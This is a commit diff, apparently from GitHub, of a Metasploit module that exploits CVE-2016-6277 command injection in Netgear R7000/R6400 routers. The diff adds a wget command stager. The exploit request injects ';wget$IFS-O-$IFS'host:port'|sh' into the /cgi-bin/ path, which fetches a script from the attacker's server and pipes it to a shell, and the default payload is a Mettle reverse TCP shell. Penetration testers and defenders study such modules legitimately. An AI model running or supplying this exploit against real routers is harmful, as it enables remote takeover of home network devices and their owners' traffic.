6
6
require 'msf/core'
7
7
8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
+
9
10
Rank = ExcellentRanking
10
11
11
12
include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::CmdStager
12
14
13
15
def initialize ( info = { } )
14
16
super ( update_info ( info ,
@@ -18,11 +20,11 @@ def initialize(info = {})
18
20
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
19
21
} ,
20
22
'License' => MSF_LICENSE ,
21
- 'Platform' => 'unix ' ,
23
+ 'Platform' => 'linux ' ,
22
24
'Author' => [ 'thecarterb' , 'Acew0rm' ] ,
23
25
'DefaultTarget' => 0 ,
24
- 'Privileged' => false ,
25
- 'Arch' => [ ARCH_CMD ] ,
26
+ 'Privileged' => true ,
27
+ 'Arch' => ARCH_ARMLE ,
26
28
'Targets' => [
27
29
[ 'Automatic Target' , { } ]
28
30
] ,
@@ -35,20 +37,19 @@ def initialize(info = {})
35
37
[ 'CVE' , '2016-6277' ]
36
38
] ,
37
39
'DisclosureDate' => 'Dec 06 2016' ,
38
- 'Payload' =>
40
+ 'DefaultOptions' =>
39
41
{
40
- 'Space' => 1024 ,
41
- 'DisableNops' => true ,
42
- 'BadChars' => "\x20 "
43
- } ,
44
- 'DefaultOptions' => { 'WfsDelay' => 10 }
42
+ 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
43
+ }
45
44
) )
46
45
47
46
register_options (
48
47
[
49
48
Opt ::RPORT ( 80 )
50
49
] , self . class )
51
- end
50
+
51
+ deregister_options ( 'URIPATH' )
52
+ end
52
53
53
54
def scrape ( text , start_trig , end_trig )
54
55
text [ /#{ start_trig } (.*?)#{ end_trig } /m , 1 ]
@@ -80,24 +81,29 @@ def check
80
81
end
81
82
82
83
def exploit
83
- check
84
-
85
- pe = payload . encoded
86
- pe . to_s
87
- pe . gsub! ( '{' , '' )
88
- pe . gsub! ( '}' , '' )
84
+ return if check == CheckCode ::Safe
89
85
90
- #cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
91
- #str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&"
86
+ @cmdstager = generate_cmdstager ( flavor : :wget ) . join ( ';' )
92
87
93
- print_status ( 'Sending encoded command...' )
94
- vprint_status ( "Encoded command: #{ pe } " )
95
- send_request_cgi ( {
96
- 'uri' => "/cgi-bin/;#{ pe } " ,
97
- 'method' => 'GET'
98
- } )
88
+ send_request_cgi (
89
+ 'method' => 'GET' ,
90
+ 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{ srvhost_addr } :#{ srvport } '|sh"
91
+ )
92
+ end
99
93
100
- print_status ( 'Giving the handler time to run...' )
94
+ # Return CmdStager on first request, payload on second
95
+ def on_request_uri ( cli , request )
96
+ if @cmdstager
97
+ send_response ( cli , @cmdstager )
98
+ @cmdstager = nil
99
+ else
100
+ super
101
+ end
102
+ end
101
103
104
+ # XXX: This is the only way to force this resource
105
+ def resource_uri
106
+ '/'
102
107
end
108
+
103
109
end
0 commit comments